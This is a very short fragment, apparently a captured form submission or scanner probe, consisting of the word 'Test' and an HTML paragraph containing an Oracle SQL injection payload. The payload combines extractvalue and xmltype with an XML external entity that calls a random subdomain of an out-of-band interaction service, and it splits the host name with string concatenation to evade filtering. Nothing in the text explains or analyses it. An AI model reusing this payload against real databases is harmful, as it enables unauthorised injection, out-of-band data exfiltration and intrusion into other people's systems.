Test
<p>(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % hkjgm SYSTEM "http://99gj6z3q6pitpfyudgr1y18ryi4bs4usxgv8i05qtf.oasti'||'fy.com/">%hkjgm;]>'),'/l') from dual)</p>